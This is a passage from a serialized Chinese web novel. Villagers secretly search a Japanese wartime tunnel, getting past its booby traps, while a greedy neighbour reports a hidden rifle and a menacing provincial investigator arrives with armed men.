“大炮叔,养伤。民兵重新编一遍队,枪擦干净,子弹上膛,人不准散。”
王大炮哼了一声,没反驳。
能憋住这口气,说明这回是真听劝了。
“阿三,还是老样子。”
阿三在门口应了一声,转身就往吉普车那边跑,脚步急得差点绊到门槛。
沈雨溪站在桌跟前,手指还搁在羊皮图上。
她抬头瞅着杨林松:“我跟你进洞。核心库那段坑道,图上标得模糊,得实地对着走才拿得准。”
杨林松瞅了她两秒。
点了头。
------
这工夫,张桂兰正缩在自家窗户后头,隔着糊了半层油纸的窗棂往外瞅。
她看见杨林松进了大队部,一直没出来。
等了好半天,院门没动静了。
她裹紧棉袄,猫着腰出了自家院子,顺着墙根溜到杨林松那两间土坯房跟前。
门没上锁,虚掩着,昨夜杨林松走得急。
她轻轻一推,门开了。
屋里收拾得干净,炕上叠着被褥,桌上一盏油灯,灶台边码着几个搪瓷碗。
张桂兰的眼珠子骨碌碌转了一圈,直奔炕头。
掀褥子,翻枕头。
啥都没有。
又翻柜子,就两件换洗衣裳和一双旧布鞋。
没钱。
她不甘心,蹲下身把手伸进炕洞。
炕洞深处有个破木箱子,半截露在外头。
她使劲往外拽,拽得木头底板刺啦刺啦响。
出来了!
箱盖一掀,里头一层油布,裹着个长条东西。
张桂兰剥开油布。
枪管子乌黑发亮,木头枪托老长,比猎户的土铳沉上好几倍,一只手压根拎不动。
枪托上刻着横竖道道的字儿,看不认得,枪管后头还打着个圆戳,深得几乎扣进木头里。
她拿两根手指头捏了捏枪托边儿,跟烫着了似的,猛地缩回来。
整个人往后一坐,屁股蹾在地上。
心脏砸着肋骨,一下赶着一下跳。
这玩意儿跟民兵开大会时扛着操练的不一样。
也不是打猎用的土铳。
这是军用步枪!
杨林松,私藏军用步枪,这可是掉脑袋的大罪!
张桂兰的手哆嗦着把油布裹回去,塞回箱子,推回炕洞。
她连滚带爬进了自家屋,反手把门闩上,靠在门板上喘了半天。
“去哪了?”
屋里没点灯,冷不丁炸出一声响。
张桂兰吓得嗓子眼一咸,差点叫出声来。
她抬头一瞅,杨金贵蹲在炕沿底下,手里攥着个烟袋锅子,火星子一明一灭,照着他阴沉的脸。
“没……没去哪,上后头撒泡尿。”
张桂兰心虚,
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直打哆嗦。
杨金贵把烟袋锅子往鞋底上狠狠一磕:“撒尿能撒到隔壁那屋里去?”
张桂兰见瞒不住,干脆交代了:
“枪!打仗用的那种大家伙!”
眼里的贪光乱窜。
“那傻子私藏军用步枪,那是掉脑袋的重罪!咱要是往公社一举发,那傻子指定得进局子。他那两间房,还有立功发的五百块钱,不全得回咱手里?”
杨金贵没接茬,又重新装了一锅烟,手指头却在火柴盒上抖个不停,脸上肌肉抽动了两下。
------
后山墙根底下,老刘头蹲着没走。
黑皮凑过来,压低嗓门:“老刘师傅。”
老刘头哼了一声,没转头。
黑皮搓了搓手,嘴唇动了两下,攒了半天的话终于说出口:
“我以前在鬼市混,觉着胆大就是本事。谁的场子都敢踩,谁的货都敢截,觉着自个儿算条汉子。”
他吸了吸鼻子。
“跟着杨爷这几天……才晓得以前那叫啥汉子,那叫莽。”
老刘头没说话。
从兜里掏出烟盒,抖出一根递过去。
黑皮接了。
老刘头划着火柴,手拢着火苗凑到他嘴边。
黑皮叼住烟,吸了一口,这回没呛着。
烟头在风里一明一灭。
他盯着那点火星子,嘴唇动了动:“下回有事,算上我一个。”
老刘头拍了拍他的肩膀,劲儿不大,可落得结实。
两人蹲在墙根下,谁也没再吱声。
------
大队部院子里。
人都散了。
杨林松一个人站在屋檐底下,把羊皮图从兜里掏出来,最后看了一眼。
加粗方框,旁边仨字快要刻穿皮纸。
爹落笔的时候,手劲指定小不了。
杨林松把图折好揣回去,手掌在胸口按了一下。
他摸了摸腰间的三棱刺,转身进屋。
------
入夜,张桂兰家。
油灯捻得老小,豆大的火苗子一晃一晃的。
杨金贵呼噜声震天响。
张桂兰翻来覆去,被子蹬了盖、盖了蹬,那杆大枪的影子在脑子里咋都撵不走。
她一把推醒杨大柱。
杨大柱迷迷瞪瞪睁开眼,嘟囔:“干啥……”
张桂兰凑到他耳朵根子上:
“明儿一早,你去大队部门口盯着,瞅那个傻子出村没有。他一走,咱就去公社。”
杨大柱一激灵,困意散了大半:“去公社干啥?”
张桂兰在他后脑勺上拍了一巴掌,劲儿不大,可脆生生的:
“没出息的东西!”
她翻了个身,眼睛盯着黑漆漆的房梁。
那两间房,那些东西,都该是杨家的。
那杆枪,不只是烫手山芋,那是她手里攥着的最后一张牌。
可手里攥着牌,腿还是在被窝里抖个不停。
------
大队部。
屋檐底下一地烟头,跟雪搅在一块儿,灰白灰白的。
周铁山把最后一根烟按灭在鞋底,望向黑瞎子岭的方向。
山脊线埋在灰蒙蒙的夜色里,啥也瞅不见。
风灌进领口,骨头缝里都发紧。
他把手插回兜里,手指碰到那封电报,纸角早就被攥皱了。
“林松。”
他低声说了一句,声音叫风扯碎了大半。
“那扇门得快点开。”
停了一下。
“姓郑的,他不会空手来的。”
第136章 爪牙贴心口,麻烦先压着
这一宿杨林松没回土坯房。
在大队部办公桌上趴了一宿,胳膊枕着脑袋,弓靠在椅子腿边。
炉膛里的火灭了大半,灰底下压着两块没烧透的松木疙瘩,一股子焦糊味儿。
天亮了。
推开门,外头白花花一片。
雪停了,院里积了半尺厚的新雪,脚一踩上去嘎吱嘎吱响。
天边压着一层铅灰色的云,日头连个影都没露。
沈雨溪早就在院门口等着了。
军大衣裹得严严实实,两手缩在袖筒里,手电筒夹在胳膊底下。
脸冻得煞白,鼻尖通红,可那双眼睛亮得晃人。
两人对视一眼,啥也没说。
杨林松把弓挎上肩,拍了拍大衣口袋。
两人踩着积雪往后山走,脚印一前一后,深深浅浅,印在没人踩过的雪地上。
------
大队部斜对面的柴火垛后头,杨大柱缩在那儿,鼻涕都快冻成冰疙瘩了。
他盯着院门口,瞅见杨林松和沈雨溪往后山去了,腿一软差点坐进雪窝里。
爬起来撒腿就往家跑,一进门就喊:
“妈!走了!他往后山去了!”
张桂兰从炕上噌地弹起来,棉袄扣子都没系利索,一把拽起他:
“走!去公社!”
两人刚拐出院门,迎面就撞上一个人。
寸头,皮肤黢黑,二十来岁,脸上带着股痞气。
两手插兜,站在路中间,不紧不慢的。
张桂兰眯起眼,不算完全眼生。
这几天她趴在窗户后头往大队部瞅,见过这人进进出出,跟那个修车的小老头走得挺近。
杨大柱钉在原地,脚底下跟灌了铅似的。
鬼市,那个窄巷子。
这人咋把他脑袋往墙上磕的。
咋逼他替杨林松背锅的。
咋捏着他后脖颈,贴在耳根子说“再敢动杨爷一根手指头,把你沉江”的。
一个字都没忘。
黑皮的目光落在杨大柱身上。
也认出来了。
上回在鬼市,这怂货跪地上磕头求饶,满口答应再不招惹杨林松,这才几天?
黑皮嘴角往下一撇,没吭声。
就这一撇,比骂娘还吓人。
杨大柱腿肚子直转筋,想跑,脚压根不听使唤。
张桂兰没瞅见儿子的不对劲,硬着头皮迎上去:“这……这位同志,大早上的,也出来溜达啊?”
“张大娘。”
黑皮慢悠悠开口。
“这大冷天的,不在家猫着,上哪儿去啊?”
张桂兰心里咯噔一下。
他咋知道自己姓张?
她扯了扯杨大柱的袖子往前拽,杨大柱腿软得差点跪下,眼皮都不敢抬。
“去……去供销社扯块布。”
黑皮往前迈了一步,不大不小,正好堵在他俩跟前。
“村里戒严了,周副部长下的命令。”
他把两手从兜里抽出来,交叉抱在胸前。
“这几天外头不太平,谁都不准出村。”
眼睛又扫了杨大柱一眼。
“尤其是这个节骨眼。”
杨大柱后脊梁的汗流下来了,脑子里就一个念头:他认出我了。
黑皮冲杨家大院的方向扬了扬下巴:“回去吧!出了事谁也担待不起。”
张桂兰还想掰扯两句,一对上他那张脸,话到嘴边又咽回去了。
她扯着杨大柱往回走,边走边嘟囔:“戒严……戒啥严啊……”
走出去十几步,杨大柱没忍住回头瞅了一眼。
黑皮还杵在那儿,盯着他俩的方向。
那双眼睛,跟鬼市那回一模一样。
杨大柱脖子一缩,再也不敢回头了。
------
熊神洞里。
手电光劈开黑暗,打在坑道石壁上。
空气又冷又沉,脚底下全是碎石渣,踩一步响一声,在坑道里闷乎乎地来回撞。
沈雨溪边走边对着羊皮图,手指顺着线条往里捋。
走到第二个岔道口,她停下,把图凑到光底下翻来覆去看了两遍。
“不对。”
杨林松回过头。
“图上标的核心库方向,跟实际的坑道对不上。”
她指着岔道右边的墙。
“这儿本该是通的,可墙是实的。”
杨林松走过去,拿三棱刺的刀柄敲了敲。
闷沉沉的,跟拍实心砖一个动静,一点空腔都没有。
两人在岔道里转了两个多时辰。
第一条路,走到头就是堵死墙,石缝里长满了白花花的硝霜。
拿刺尖刮了一下,底下是完整的混凝土面,没接缝,没暗门。
第二条路更短,拐个弯就撞上塌了的碎石堆,石头上还能看见爆破留下的焦印子。
杨林松扒开几块碎石,里头灌满了三合土,日本人封的,比外头的原墙还结实。
第三条路最长,七拐八绕走了快一百米。
坑道越走越窄,两边石壁上隔几步就有一个铆钉坑,原先挂过电缆的铁卡子锈成了褐色的渣,用手一碰就碎。
走到尽头,还是一堵实墙。
杨林松抡起工兵铲往墙上刨了几下,火星子直蹦。
钢筋混凝土,硬得跟铁板似的。
啥收获没有。
出洞的时候已经是下午了。
天阴沉沉的,风小了点。
杨林松走在前头,沈雨溪跟在后头,谁都没吱声。
走到洞口,杨林松脚步顿住了。
黑瞎子的尸体还趴在那儿。
雪埋了大半,就剩个模模糊糊的轮廓。
杨林松站了两秒,走过去蹲下。
沈雨溪站在原地没动。
他伸手扒雪,一层一层,慢慢往下刨。
露出黑黢黢的皮毛,露出僵硬的前掌。
右前掌上,那道贯穿的旧伤疤又深又长,愈合后皮肉缩在一块儿,把周围的毛都拧成了一绺。
是他一箭射的。
杨林松从腰里抽出匕首,割下一颗爪牙。
动作慢,稳当。
爪根带着一小块冻硬的皮毛,血早干了,颜色发黑。
他把爪牙在雪里蹭了蹭,用皮绳穿好,挂在脖子上。
凉,贴着心窝子,凉得发沉。
他站起身,回头瞅了沈雨溪一眼,一句话没说,接着往前走。
沈雨溪跟了上去。
走了老远,她才轻声问:“它守了多久?”
杨林松没回头,声音闷乎乎的:“从我打服它那天起,就没离开过洞口一里地。”
沈雨溪不再问了。
两人踩着雪,一前一后往山下走。
风从岭脊上刮过来,把他俩的脚印一点一点填平了。
------
张桂兰不死心。
回家后一直趴在窗户上,隔着油纸往外瞅。
等了一上午,眼珠子都瞅酸了。
终于,她瞅见黑皮和那个小老头出村了。
走了,全都走了。
她一把拽起杨大柱:“走!”
杨大柱跟丢了魂似的,两条腿发软,走几步就回头瞅一眼。
张桂兰在他后脑勺拍了一巴掌:
“瞅啥瞅!快点走!”
到了公社大院,张桂兰转了两圈,不知该找谁。
好不容易拦住一个穿蓝布制服的干部,把杨林松私藏枪支的事儿从头到尾抖了个干净。
那干部听完,上下打量她一眼:<
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br>“你说的是红星大队那个杨林松?烈士杨卫国的儿子?”
张桂兰脑袋点得跟捣蒜似的:
“对对对!就是他!他家里藏着枪!军用步枪!我亲眼看见的!”
干部皱了皱眉:“在哪儿?”
“他家炕洞里!一个破木箱子里,用油布包着的!”
干部盯着她看了几秒,转身进了办公室。
张桂兰站在走廊里,心里怦怦直跳。
等了好半天,干部出来了,脸绷得紧紧的:
“你先回去,这事我们会调查。”
张桂兰愣了:“调……调查?”
她往前凑了半步,嗓门拔高:“咋不直接去搜?那枪我亲眼见的!亲手摸的!”
干部没理她,转身就走了。
张桂兰站在院子里,一阵风灌进领口,凉得她打了个激灵。
回村路上,杨大柱小声嘀咕:“妈,那个干部说调查……是啥意思啊?”
张桂兰没吭声,心里也犯嘀咕。
那杆枪她亲眼见、亲手摸,沉得拎不动,咋还要调查?
她不知道的是,那个干部转身回办公室后,摇了个电话。
电话那头一接,他压低声音说:“红星大队那个杨林松,被人举报私藏枪支,查不查?”
那头沉默了几秒。
“先压着,等我消息。”
咔嗒,电话挂了。
------
傍晚,大队部。
沈雨溪把羊皮图摊在桌上,盯着那些线条瞅了半天。
手指顺着坑道的走向一遍一遍捋,捋到第三个岔道口时,指尖顿住了。
“你看这儿。”
杨林松凑过去。
她指着图上一条线,颜色特别淡,笔触虚乎乎的,跟旁边实打实的粗线完全不一样,像是画完又被人刻意抹掉了。
“今天走的那几条死路,全在这条线的西边。”
沈雨溪手指往东南一划。
“可这条虚线指的是东南,通向配电室那片儿。”
杨林松眯起眼:“日军撤退前要是封了入口,图上不会留明显记号。”
沈雨溪的指尖在虚线末端轻轻一叩:“可画图的人不甘心,还是留了这一笔。”
“入口藏在配电室后头?”
沈雨溪点点头:“明天再进,还带工兵铲。”
杨林松盯着那条虚线看了三秒。
淡得几乎看不见,可就这一根线,把今天两个多时辰的白跑全给拉回来了。
画图的那个人,临死前留的最后一股倔劲儿,全在这一笔里了。
------
入夜。
张桂兰家,油灯捻得小,豆大火苗一晃一晃的。
杨大柱缩在炕角,抱着膝盖,一句话不敢说。
张桂兰坐在炕沿上,眼睛盯着油灯,一动不动。
公社干部那句“调查”,一直在她脑子里打转。
天都黑透了,啥动静没有。
没人来搜,没人来问,连个脚步声都没往这边来。
她翻来覆去,那杆枪的影子在脑子里咋都撵不走。
可腿在被窝里,还是止不住地抖。
------
大队部。
杨林松拿两条长凳一拼,身子躺在上面,腿垂在地上。
右手摸着胸口。
那颗爪牙贴着心窝子,凉丝丝的。
他闭上眼,配电室后面那道墙,在脑子里过了一遍。
得砸开看看。
窗外,风停了。
静悄悄的,隐约传来一声狗叫,转眼又没了。
正要合眼,耳朵尖儿却猛地一抖。
踩雪的嘎吱声,越来越近。
杨林松翻身坐起,右手摸向了凳腿边上的三棱军刺。
第137章 他来了
三棱刺攥在手里头,刺尖子朝下。
杨林松后背贴紧门框,左手五指张开搭在门板上,呼吸压得浅溜溜的。
踩雪的声儿越来越近,到了门口停住。
两长一短。
咚——咚——
咚。
是老刘头的暗号。沈雨溪是两短一长,绝不能弄混。
杨林松右手没松劲,左手拉开门闩,往后撤了半步。
门开,碎雪裹着冷风灌进屋。
老刘头和黑皮一前一后钻进来,口鼻直冒白气。
老刘头脸冻得铁青,嘴唇发紫,可眼珠子亮得瘆人。
他反手把门带死,压着嗓门,就憋出一句:
“郑少华到了,住县里招待所,天亮就往咱这儿赶。”
杨林松把军刺插回刀鞘。
里屋的棉帘子一掀,周铁山披着大衣快步出来。
紧跟着,值班室那头传来拐杖磕地的动静,王大炮拄着老汉阳造凑过来。
阿三从后院猫进来,手里还攥着车钥匙。
没人点灯,炉膛里剩的那点柴火,就是屋里唯一的亮。
杨林松靠在桌沿上,盯着老刘头:“带了多少人?”
老刘头伸出三根手指头:
“三辆车,十二个人,有军车,有公函。”
他从兜里掏出半截烟叼嘴里,没点。
“这回换了个名头,省革委会调查组组长,郑为民。”
屋里闷了两秒。
杨林松转头冲阿三一抬下巴:“去知青点,把沈知青接过来。开车去。”
阿三应了一声,转身就走。
知青点距大队部也就三五百米。没一袋烟工夫,吉普车的发动机闷响一下就灭了。
阿三领着沈雨溪从后门进来。
她军大衣外头套了件棉罩衫,头发拿皮筋扎在脑后。
进屋第一句就直奔要害:
“明天他指定要进洞,核心库的位置咱刚摸出门道,绝不能让他抢在前头。”
她看向杨林松,声音压低:
“咱俩现在就走,天亮前能打个来回。”
杨林松刚要点头。
桌上的电话突然炸响。
在场的人全僵了一下。
周铁山一把抄起听筒,侧身贴紧墙。
听了没几句,脸上的肉一寸一寸往下沉。
挂了电话,他攥着听筒没撒手,死死盯着杨林松。
“公社来的。”
声音是从嗓子眼里挤出来的:
“郑少华的车队已经出县城了。不是明天一早,是现在就往这赶。”
顿了一下,又砸出一句:
“点名要你和大炮在村里等着。”
屋里静得能听见雪片子砸窗棂的簌簌声。
王大炮一拳头擂在桌面上,搪瓷缸子蹦起来又摔下去,茶水泼了半拉桌子:
“他娘的!这是摸黑往咱被窝里拱啊!”
杨林松脑子飞快转了三圈。
从大队部到熊神洞,单程一个钟头。
往返两小时,还不算在坑道里摸道的工夫。
他前脚进洞,郑少华后脚进村。
姓郑的点名要他在场,他不在,对方立马起疑心。
起了疑心能干啥?
想都不用想。
进洞的念头,被他硬生生掐死了。
他看向沈雨溪:
“你带老刘头、黑皮,现在就走后门,进洞。天亮之前,核心库的东西必须清点完。”
沈雨溪一把攥住他袖口:“那你呢?”
“我得留下。”
杨林松从贴身兜里掏出羊皮图和那把黄铜十字钥匙,塞进她手心。
手指碰到她掌心,冰凉。
“姓郑的点名要我和大炮叔在场,我不在,他第一个起疑。你那边办成了,我这边才有牌打。”
沈雨溪攥着钥匙,嘴唇动了两下,没说出话。
杨林松没给她犹豫的工夫。
转头冲老刘头抬了抬下巴。
老刘头心里门儿清,拽了黑皮一把,两人先一步闪出后门。
沈雨溪走到门口,脚步顿了一下,回过头。
杨林松冲她点了一下头。
沈雨溪转身,扎进黑夜里。
杨林松收回目光。
胸口那瓣熊爪贴着皮肉,凉丝丝的。
他转身往后院走。
------
杂物间的门一推开,霉味混着烟味扑一脸。
陈远山披着旧军大衣坐在炕沿上,炕上铺了一层干稻草,角落搁着半壶凉水和两个冷窝头。
杨林松蹲到他跟前,压着嗓门:
“郑少华已经在路上了。你得藏起来,他的人绝不能看见你。”
陈远山抬起头。
眼窝深陷,两颊的肉都瘪进去了。
他嘴唇动了两下,没出声。
杨林松走到墙角,搬开一摞破筐和半袋子烂萝卜,拉开底下的暗门。
更浓的霉味往上涌。
木梯往下伸,黑咕隆咚的。
那是大队部底下的废弃菜窖,之前的炸药就是在这儿试的。
“底下又黑又脏,但安全。”
杨林松把两个窝头和水壶递过去,声音压得更低:
“不管上头有啥动静,千万别出来。”
陈远山站起身,走到窖口往下瞅了一眼,黑得啥也看不见。
回过头,嗓子干得发涩:
“你……小心点。”
杨林松点了点头。
陈远山扶着木梯一步一步往下走,木板嘎吱响了两声,人影沉进黑暗里。
杨林松合上暗门,把破筐堆回去,烂萝卜压在上头。
蹲下来扫了一遍地面,没留脚印。
炕沿上的碗收走,烟头一个不落全扫进兜里。
干净了。
杨林松退出杂物间,把门带上。
------
回到办公室,周铁山已经把民兵花名册摊在桌上了。
“姓郑的来者不善。他要是翻旧账,咱的人嘴里得有一套说辞,每个字都得对得上。”
杨林松坐下。
两人对着花名册,一条一条捋。
熊神洞啥时候发现的——“民兵巡逻时看见洞口塌方了。”
谁先进的洞——“周铁山带队,杨林松没沾边。”
死了几个土匪——“上报的数,一个不多一个不少。”
缴获了啥——“旧步枪和弹药。”
万一问起核心库咋说?——“压根不知道啥核心库。”
周铁山的笔尖在纸上划出一道道硬印子,每划一道,就是一道防线。
一句话对岔了,就是一条人命。
王大炮在旁边听着,两回想插嘴,都被周铁山用眼神摁回去了。
杨林松对
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完最后一条,站起身,又往后院走了一趟。
检查暗门,纹丝不动。
检查杂物间,窗台上那层灰没碰过,蛛网还挂着。
他在后院站了十秒。
风灌进领口,凉得钻骨头缝。
------
前院传来王大炮的声儿,又低又急:
“林松!来了!”
杨林松快步回到前院,往外一瞅。
三辆吉普车停在村口。
没熄火,车灯灭了,人影在晃。
黑乎乎的,分不清几个。
他们没直接往大队部来。
就停在村口,不动弹。
周铁山凑过来,眉头拧成疙瘩:“等啥呢?”
杨林松眯起眼,盯着那片黑影看了五秒:
“等人,后头还有。”
果然。
十分钟后,村道远处又亮起两团车灯。
不是吉普,是卡车。
发动机声闷沉沉的,传出去老远。
两辆卡车开进村,停在吉普车后头。
后挡板“哐当”一放,跳下来二十多号人。
清一色便衣。
可每个人腰上都鼓着一块,步子齐整,间距均匀。
“妈了个巴子!”王大炮拄着老汉阳造,手背上青筋一根一根蹦起来。
周铁山没吭声,右手按上了枪套。
车门动了。
第一辆吉普车的后座门打开,下来一个人。
中等个头,穿一件军绿色棉大衣,领子竖得老高,呢帽压得低低的。
走起路来不紧不慢。
身后跟着两个人,一左一右,差半步。
杨林松站到院门口。
两手垂在身侧,大衣敞着,寒风直往里灌。
脸上啥表情没有。
来人走到院门口,停住了。
抬起头。
帽檐底下露出一张白净的脸。
三十出头,眉骨高,颧骨也高,嘴角挂着一丝笑。
可让人觉着,比满脸横肉的土匪还吓人一百倍。
他从大衣兜里掏出一张折好的公函,双手递过来:
“杨林松同志?久仰。”
声音不高不低,字正腔圆,跟广播里念报纸一个味儿。
“省革委会调查组,郑为民。连夜添麻烦,实在对不住。”
杨林松接过公函,低头扫了一眼。
红头文件,公章齐全,措辞滴水不漏。
真的也好,假的也罢,这一套排面往这一摆,就是明晃晃告诉你:
老子合法合规,你能咋的?
他把公函折好,揣进兜里。
抬头。
脸上还是啥表情没有。
“郑组长辛苦,里边请。”
郑少华笑着迈进院门。
脚步稳当,不快不慢,腰板挺得笔直。
杨林松站在原地没动。
目光越过郑少华的肩膀,落在村口那二十多个腰里鼓囊囊的便衣身上。
一个个站在雪地里,跟木桩子似的。
呼出的白气一团接一团,在车灯的余光里飘几下就散了。
身后,风从黑瞎子岭方向刮过来,割得脸生疼。
沈雨溪带着老刘头和黑皮,这会儿应该已经过了红松林。
杨林松转身,跟在郑少华身后进了院子。
大门一合。
把风雪和车灯,全关在了外头。
第138章 天亮了,带我去洞里看看吧
后山。
手电光往熊神洞里一照,劈开一道亮堂。
沈雨溪走最前头,羊皮图攥在手里,手心直冒汗。
三个弯,一条往下的坑道,三人走到底。
配电室的木门早烂成一摊碎渣子,就门框还孤零零立着。
里头的设备锈成一坨废铁疙瘩,搁在这儿就等着烂到天荒地老。
她绕开废铁堆,走到东南角那堵墙前。
把图凑到手电光底下对了三遍,一字一顿喊:“就是这儿!”
老刘头抡起工兵铲,往死里砸。
第一铲下去,水泥渣子溅得到处都是。
第二铲,红砖露出来了。
第三铲,砖碎了,后头是一层手指粗的钢筋,横竖交叉,密得跟铁笼子似的,坑坑洼洼全是锈。
黑皮凑过来瞅了一眼,骂道:“这他娘的……修碉堡呢!”
老刘头没搭理,掏出撬棍插进钢筋缝,两手压着死命往外别。
铁棍发出咯吱咯吱的闷响,一点点弯下去……
嘭!
撬棍一下弹出来,差点抽黑皮脸上。
黑皮往后一蹦,紧跟着又凑上来搭把手。
一根,两根,三根……
撬到第五根时,豁口够人侧身钻了。
沈雨溪第一个挤进去,手电往前一照。
二十米外,一扇大铁门。
锈迹把门染成暗红色,合缝处的铁锈把两块门板粘得死死的,跟长在一块似的。
她走上前,电筒贴着门脸从上往下照。
没锁孔,门脸光溜溜的,就右侧有个凹槽,四个方向深浅不一,最长那道槽底还刻着密齿纹。
跟那把黄铜十字钥匙,一模一样。
沈雨溪从怀里掏出钥匙,对着槽口插进去。
咔嗒一声,轻得跟蚊子叫似的。
门纹丝不动。
老刘头上前推了推,愣是没动分毫。
她把脸贴上去,手电往槽里照。
齿纹里塞满了锈渣子和干透的油泥,钥匙压根拧不动。
老刘头从工具包里摸出根细铁丝,趴地上把铁丝头捅进凹槽,一点一点往外抠碎渣子。
黑皮蹲旁边举着手电,两脚直跺,压着嗓门喊:“快点儿!快点儿!咱可别磨叽!”
“急啥?”老刘头手没停,“把这槽子整坏了,哭都没地方哭去。”
黑皮把嘴一闭。
行,老爷子最大,不敢吱声了。
十分钟后,最后一撮锈渣子被抠出来,落了一地。
沈雨溪把钥匙再插进去,手心的汗把铜把都沁湿了。
轻轻一拧。
咔嗒!
铁门动了。
开了一道缝,锈迹在门缝边拉出一道长长的黑印。
老刘头伸手往里推。
“等等!”
黑皮一把攥住他胳膊往后拽,蹲下来把手电贴地面照进门缝。
一根铁丝细如头发丝,拉在门槛内侧,一头拴着门框,另一头扎进黑暗里。
是绊发线!
老刘头整个人钉在原地,大气不敢出。
要是刚才那一推再大半分力,这会儿三个人都得交代在这儿。
黑皮接过钳子,趴地上贴紧门缝,呼吸压得浅溜溜的,钳口一点点往绊发线上挪。
手直抖。
十根手指头冻得跟柴火棍儿似的,偏还得使细劲,攥得越紧越不听话。
冷汗顺着鼻尖儿往下滴,砸在地上没一点声。
夹住。
掰!
铁丝啪的断成两截。
老刘头和黑皮同时往后坐了一下,两人都没敢吭声,只听见彼此的喘气声。
沈雨溪推开门,手电一照。
身子立即往回缩,差点叫出声。
门后趴着一具骷髅。
穿的日军旧军服烂成碎布条,手边是锈透的发火装置,火药早潮成了废渣。
等了三十年,连最后一锤都没等到,就这么闷死在这了。
三个人站在门口,谁都没动。
沉默了整整三秒,才先后挪着步子进去。
------
核心库里。
木箱码得整整齐齐,一层灰盖在上面。
沈雨溪直奔角落的铁皮柜,脚刚迈出去,地砖突然晃了一下。
老刘头一把攥住她后脖领子,猛地往后扯。
她倒退两步,手电往下一照。
刚才踩的那块地砖翻起来了,底下排着一排铁钎子,尖头朝上,黑咕隆咚的。
两人对视一眼,没说话。
这玩意儿,就是专门给贪快的人准备的。
黑皮绕开深坑,用撬棍把铁皮柜门撬开。
文件摞得老高,发黄发脆,用细绳捆着。
他刚要伸手拿,老刘头吼了一嗓子:“别动!”
手电往柜里一照。
最上面那摞文件底下,压着一根铜丝,跟头发丝一样细,另一头连在柜子背板上。
黑皮抽了口冷气,趴地上,钳口顺着铜丝一点点往发火端挪。
铜丝比铁丝软,难拿捏。
手僵得不行,钳口滑了两下,冷汗又顺着鼻尖儿往下滴。
这是第几个绊发装置了?
没时间数,也不敢数。
最后一截铜丝摘下来,黑皮瘫在柜前,手放在腿上,抖个不停。
眼睛死盯着头顶,连喘口气都觉得太响。
老刘头把铜丝卷好揣进兜,沈雨溪绕开深坑接过文件,翻到第三页。
一长串名字,大半都糊了,认不清。
第四行,一个汉字清清楚楚——
郑。
后面的字被干透的油墨糊住了,可那个“郑”字,一横一竖,跟刻上去似的。
沈雨溪手指在那个字上压了两秒,随即把文件塞进怀里。
她掏出小本子,手电咬在嘴里,蹲在木箱前,铅笔唰唰往本子上记:
光学仪器,六箱,标号W-04到W-09。
白金锭,四十七箱,最右边那摞最底下两箱标着红漆十字。
九七式密码机,两台,塞在最里头的角落。
洞里静得吓人,只剩铅笔划纸的沙沙声。
------
记完最后一箱,沈雨溪合上本子,站起身喊:“走!”
三人往外跑,手电光柱在石壁上乱晃,脚踩碎石的响声在坑道里弹来弹去。
跑到坑道中段,黑皮脚下一滑,整个人往左栽过去,下意识伸手抓石壁,
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手指扣住一块凸出来的石头。
可那石头是松的!
整块石板掉下来,露出三个黑咕隆咚的射孔。
“趴!”
老刘头吼了一嗓子。
三支锈铁箭从射孔里射出来!
黑皮往旁边一躲,躲开两支,第三支擦着右肩过去,棉袄划开一道大口子,皮肉翻出来,血珠子溅在石壁上。
黑皮咬着牙,没吭一声,被沈雨溪死命拽起来接着跑。
右臂垂着,动不了,血从棉袄里渗出来,滴在地上,一个红点接一个红点,在身后铺了一路。
老刘头停下来,撕开自己棉袄下摆,三两下给他缠上伤口,打了个死结,扯紧了。
抬头看了他一眼。
黑皮脸白得跟纸似的,鼻梁上全是汗。
嘴角往上扯了一下,声音沙哑:“没事,还能跑。”
没一个字发抖。
老刘头多看了他一秒,拍了拍他肩膀。
两人又接着跑起来。
------
出洞时,天边已经泛起鱼肚白。
灰蒙蒙的光从云缝里漏下来,把积雪照得发青。
三人刚跑进村口,大队部方向突然传来车子的发动机声。
老刘头一把架着黑皮往柴火垛后头拽,沈雨溪也贴墙根蹲下去,连呼吸都不敢出大声。
村口停着三辆吉普,几个便衣汉子从车里跳下来,跺着脚、哈着白气活动手脚,看样子是准备出发了。
三人屏着气,等那几个汉子聚到一块儿点烟,注意力都散了。
沈雨溪才贴着墙根,悄没声儿地溜进大队部的后门。
老刘头架着黑皮,趁没人瞅,绕到后山混进了已经集结的民兵堆里。
------
大队部里。
茶已经续了第三杯。
郑少华端着杯子,用指甲在杯沿上轻轻划拉一下,眼睛扫了眼窗外。
天色灰白,日头快出来了。
“杨同志,你们村这些民兵,训练得挺像样呐。”
“都是大炮叔管的。”杨林松把茶壶放下,在对面坐着,两手放在膝盖上,腰杆挺得直直的。
“你叫他大炮叔?”
“打小就这么叫,习惯了。”
郑少华笑了笑:“那你们杨家村,杨同志说话挺管用。”
杨林松摇了摇头,装出一副傻愣愣的样子:“我就是个愣头青,啥也不管,全靠大炮叔他们撑着。”
郑少华放下杯子,靠在椅背上,慢慢转向窗外,沉默了几秒。
鸡叫头遍了。
窗外的灰白天色,一点点变亮。
后门方向,杨林松听到了脚步声。
极轻。
他往茶杯里看了一眼,水面平静。
心里那口气,悄悄松了点。
她回来了。
郑少华把视线从窗外收回,站起身,整了整衣领,拿起桌上的呢帽,在手里转了一圈。
“天亮了。”
他开口,脸上还挂着笑。
可那双眼睛,黑得一点光都没有。
“杨同志,带我去洞里看看吧。”
杨林松站起身,两手一摊,客客气气地说:
“郑组长,请。”
第139章 谁在点火?
郑少华站在院门口,两手背在身后,眼神先在杨林松身上落了一下,又慢悠悠扫过王大炮和周铁山的脸,转了一圈。
“杨同志、王大队长、周副部长。”
他笑了笑,一口白牙在晨光里晃得刺眼。
“洞里的事儿,省里相当重视,得劳烦几位亲自陪同指认。三位都跟我走一趟呗。”
话说得客客气气的,可架势一点不含糊。
三辆吉普车的发动机早热透了,两辆卡车外加二十多个便衣,把村口堵得严严实实的,连只耗子都跑不出去。
杨林松心里打了个转:能当家的全给拎走,村里就剩老刘头和黑皮撑着,再加上一帮没了主心骨的民兵。
这是要把看家的全薅走,把窝给掏干净啊。
可他巴不得姓郑的把人往山里拽。
人都进了山,村里反倒暂时安全了。
“行,听郑组长安排。”
王大炮刚要张嘴,周铁山从旁边递过来个眼神,硬生生给按回去了。
王大炮后槽牙咬得嘎嘣响,憋了半天,没敢吱声。
三人上了吉普。
郑少华坐头车,杨林松跟他一辆,负责指路。
王大炮和周铁山被安排在第二辆,左右两边各夹着个便衣。
“陪同”这俩字,说出来好听,可一坐进去就明白了。
两条膀子被人往中间一夹,比起押犯人,就差副手铐了。
